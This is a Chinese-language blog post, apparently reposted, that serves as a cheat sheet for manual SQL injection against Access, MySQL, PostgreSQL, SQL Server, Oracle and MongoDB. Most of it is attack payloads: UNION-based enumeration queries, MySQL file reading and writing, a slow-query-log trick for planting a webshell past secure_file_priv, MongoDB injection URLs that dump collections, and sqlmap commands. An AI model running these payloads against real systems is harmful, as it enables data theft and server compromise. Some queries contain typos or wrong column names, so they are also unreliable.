当前位置:   article > 正文

WEB渗透SQL注入(常见数据库手工注入方法)!

WEB渗透SQL注入(常见数据库手工注入方法)!
SQL注入基础篇:

sqlmap:中文使用手册:https://sqlmap.highlight.ink/

ACEESS:(特性:无数据库用户,无数据库权限,无数据库查询参数,无高权限注入)
    判断注入点
      判定字段数 order by 
      判定回显位置 union select  1,2,3,4,5...
   
   由于Access数据库特性注入需要字典猜解表名和列名
    1 猜解表名 正确页面正常,错误页面报错;
    2 如表名已知列名猜解失败,可使用偏移注入 得到数据  使用*测数表的字段数

mysql:
      数 order by 
      判定回显位置 union select  1,2,3,4,5...

  当前用户:user()
  数据库:database()
  存储数据库,表,列的表 :infomation_schema
          information——schema.tables information下的表名
          information_schema.columns information下的列名
  获取某数据库下的表名
   union select 1,table_name,3,4...from information_schema.tables where table_name = database();
 获取某表下的列名
       union select 1,column_name,3,4...from information_schema.columns where table_name = 表名;    
    跨库注入:查表是需要指定数据库名.表名
    获取所有数据库名
      union select schema_name,2,3,4..from imformation_schema.schemata
    
SQL:读写注入(mysql高权限root)
       利用数据库的读写语句读取文件或写入后门(条件数据库开启读写权限)
    文件路径可通过报错/扫描/信息泄露/默认配置路径/获得
    select load_file('文件路径')
    select '内容' into outfile '写入路径0'

    -无法写入:secure_file_priv突破(条件需要支持sql执行环境(堆叠注入)||连接上数据库||网站phpmyadmin)
    执行语句:
    1.开启慢日志记录 :set global slow_query_log=1;
    2.设置日志记录路径到某文件: set global slow_query_log_file='路径/11.(后门脚本后缀)'
    3.select '后门代码' or SLEEP(1)
        执行后的语句(后门语句)就会记录保存在11.(后门脚本后缀)中
    4.通过菜刀或哥斯拉连接
    
PostgreSql/Sql server注入:
    判断猜测回显为:
      and 1=2 union select null,null,null...
      and 1=2 union select 'null',null,.....
      通过''闭合测试出他的回显位
      -回显确定后直接百度或sqlmap注入
     
       PostgreSql:version()版本,current_user当前用户,current_atabase()当前数据库名
       Sql server:@@version版本,db_name()当前数据库名,@@SERVERNAME 务器主机信息
        

Oracle/Mongdb 联合猜解
    测试回显位
     Oracle:and 1=2 union select '1','2'...from dual(虚表)
     Mongdb:
        实例:
            测回显 ...?id=1'});return({title:1,content:'2
            爆库   ...?id=1'});return({title:tojson(db),content:'1
            爆表   ...?id=1'});return({title:tojson(db.getCollectionNames()),content:'1
            爆字段 ...?id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'1
            
            '});闭合字符
            db.getCollectionNames()返回的是数组,需要使用tojson转换为字符串
            db.Authority_confidential是当前使用的表.find()函数用于查询,[0]是第一条数据

GET请求:
     通过sqlmap注入 :运行sqlmap.py -u 存在注入点的url

POST请求注入:
    通过BurpSuitePro拦截数据包,通过发包,在参数后测试注入点
    通过sqlmap注入 :运行sqlmap.py -r 数据包.txt
    数据包内容为BurpSuitePro拦截的数据包的内容
    可在参数后加*标记注入点
    

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/469311
推荐阅读
相关标签
  

闽ICP备14008679号